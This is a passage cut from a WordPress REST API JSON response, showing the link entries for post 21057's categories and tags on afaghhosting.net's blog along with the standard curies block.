ttps:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21057"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21057"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}